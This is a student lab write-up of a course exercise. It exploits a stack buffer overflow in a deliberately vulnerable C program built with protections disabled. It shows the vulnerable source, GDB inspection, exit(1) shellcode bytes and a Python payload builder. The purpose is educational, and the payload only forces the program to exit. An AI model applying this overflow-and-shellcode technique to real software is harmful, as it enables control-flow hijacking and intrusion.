Exploiting a Stack Buffer Overflow to Force Program Termination

Bettina Ligero — Wed, 11 Mar 2026 12:07:56 +0000

Machine Problem 1
Group Members: Deen, Ligero, Torres

Introduction

This machine problem involved analyzing and exploiting a deliberately vulnerable C program. Under normal execution, the program reads a line of input and then enters an infinite loop, preventing it from terminating on its own. The objective of the exercise was to exploit a stack-based buffer overflow vulnerability to force the program to exit with a status code of 1, without modifying the original source code.

Achieving this required constructing a carefully crafted binary payload, commonly referred to as shellcode, that would overwrite the program’s return address on the stack. By redirecting execution to this injected code, the exploit could hijack the program’s control flow at the assembly level and invoke the Linux exit system call directly.

The Vulnerable Program

The vulnerable program is shown below.

Source file: vuln.c

#include <stdio.h>

void vuln() {
    char buffer[8];
    gets(buffer);
}

int main() {
    vuln();
    while (1) {}
}

The vulnerability arises from the use of the gets() function. Unlike safer input functions, gets() performs no bounds checking on the data it reads. Since the buffer declared in the program is only 8 bytes long, any input exceeding this length will overflow into adjacent memory on the stack.

When a buffer overflow occurs in a stack frame, it can overwrite critical values such as:

the saved base pointer (EBP)
the saved return address (EIP)

By overwriting the return address, an attacker can redirect execution to an arbitrary location in memory. In this assignment, the goal was to redirect execution to custom shellcode placed on the stack.

Build Configuration

The program was compiled using the command specified in the assignment:

gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 \
    -fno-pie -ggdb -z execstack -std=c99 vuln.c -o vuln

Several compilation flags were intentionally used to simplify exploitation:

-m32 – Compiles the program as a 32-bit binary, allowing the use of the simpler int 0x80 Linux syscall interface.
-fno-stack-protector – Disables stack canaries that normally detect buffer overflows.
-mpreferred-stack-boundary=2 – Simplifies stack alignment for more predictable memory layouts.
-fno-pie – Disables position-independent execution so code addresses remain fixed.
-z execstack – Marks the stack as executable, allowing injected shellcode to run.
-ggdb – Includes debugging symbols to aid analysis in GDB.

Together, these settings create an environment where stack-based exploitation can be demonstrated more clearly.

Discovering the Stack Layout

To determine where the buffer resides in memory, the program was inspected using GDB. A breakpoint was placed at the beginning of the vuln() function:

break vuln
run
print &buffer
info frame

This revealed that the buffer was located at the address:

0xffffcf38

Based on the observed stack layout, the exploit payload was structured as follows:

8 bytes of filler – fills the buffer
4 bytes of filler – overwrites the saved EBP
4 bytes – overwrites the return address
8 bytes of shellcode – placed immediately after the return address

The return address was set to BUFFER_ADDR + 16, which points to the start of the shellcode. This offset corresponds to the total number of bytes preceding the shellcode in the payload:

8 (buffer) + 4 (saved EBP) + 4 (return address) = 16

Shellcode Design

The shellcode’s purpose was to invoke the Linux system call:

exit(1)

In 32-bit Linux, system calls are triggered using the int 0x80 instruction. The syscall number is stored in the EAX register, while the first argument is placed in EBX.

For the exit syscall:

EAX = 1 (syscall number)
EBX = 1 (exit status)

The assembly code used was:

xor %eax, %eax
inc %eax
xor %ebx, %ebx
inc %ebx
int 0x80

This sequence:

Clears both registers
Sets EAX to the exit syscall number
Sets EBX to the desired exit code
Invokes the kernel

The corresponding machine code bytes are:

31 c0 40 31 db 43 cd 80

These bytes were verified by assembling a test file and examining the output using objdump.

Constructing the Exploit Payload

To automate payload creation, a Python script (exploit.py) was written:

import struct

BUFFER_ADDR = 0xffffc818
SHELLCODE   = b"\x31\xc0\x40\x31\xdb\x43\xcd\x80"

payload  = b"VAPOREON"
payload += b"EEVE"
payload += struct.pack("<I", BUFFER_ADDR + 16)
payload += SHELLCODE

with open("egg", "wb") as f:
    f.write(payload)

The payload consists of:

"VAPOREON" – fills the 8-byte buffer
"EEVE" – overwrites the saved base pointer
the calculated return address
the shellcode

The return address is encoded using:

struct.pack("<I", ...)

This ensures the address is stored in little-endian format, which is required by x86 architectures.

The final egg file is 24 bytes long.

Hex representation:

56 41 50 4f 52 45 4f 4e   ← buffer fill
45 45 56 45               ← saved EBP overwrite
28 c8 ff ff               ← return address
31 c0 40 31 db 43 cd 80   ← shellcode

Execution and Results

The exploit was tested within GDB by redirecting the payload as standard input:

set disable-randomization on
run < egg

The program produced the following output:

[Inferior 1 (process 31619) exited with code 01]

This confirms that the shellcode executed successfully and the program terminated with the required exit code.

Proof artifact:

ASLR Behavior Outside GDB

Although the exploit worked reliably inside GDB, running the program normally produced different results:

./vuln < egg

Instead of exiting with code 1, the program terminated with exit code 139, indicating a segmentation fault.

This behavior occurs because Address Space Layout Randomization (ASLR) remains enabled outside GDB. ASLR randomizes memory addresses, including stack locations, each time a program runs.

When debugging in GDB, ASLR is typically disabled, which keeps stack addresses consistent between runs. This stability allows the exploit’s hardcoded return address to reliably point to the shellcode.

Outside the debugger, however, the buffer’s address changes on every execution. As a result, the return address in the payload often points to an invalid location, causing the program to crash instead of executing the shellcode.

Team Collaboration

The group collaborated on this machine problem using a shared GitHub repository. Source files—including vuln.c, exploit.py, and the generated egg file—were committed and pushed to the repository so that all members could access the latest version of the exploit and test it on their own systems.

Conclusion

This machine problem demonstrated how a single unsafe function call—gets()—can expose a program to severe security vulnerabilities. By exploiting a stack-based buffer overflow, it was possible to overwrite a function’s return address and redirect execution to custom shellcode.

Through this process, the group successfully forced the program to terminate with exit code 1, despite the program’s infinite loop. The exercise reinforced several key concepts in systems security, including stack memory layout, x86 calling conventions, Linux system calls, and the mechanics of constructing binary exploitation payloads.

Notes

The buffer address may vary across different environments. If running the program on another system or outside GDB, the address should be rechecked using:

print &buffer

After updating the address in exploit.py, regenerate the payload by running:

python3 exploit.py

Forem: Bettina Ligero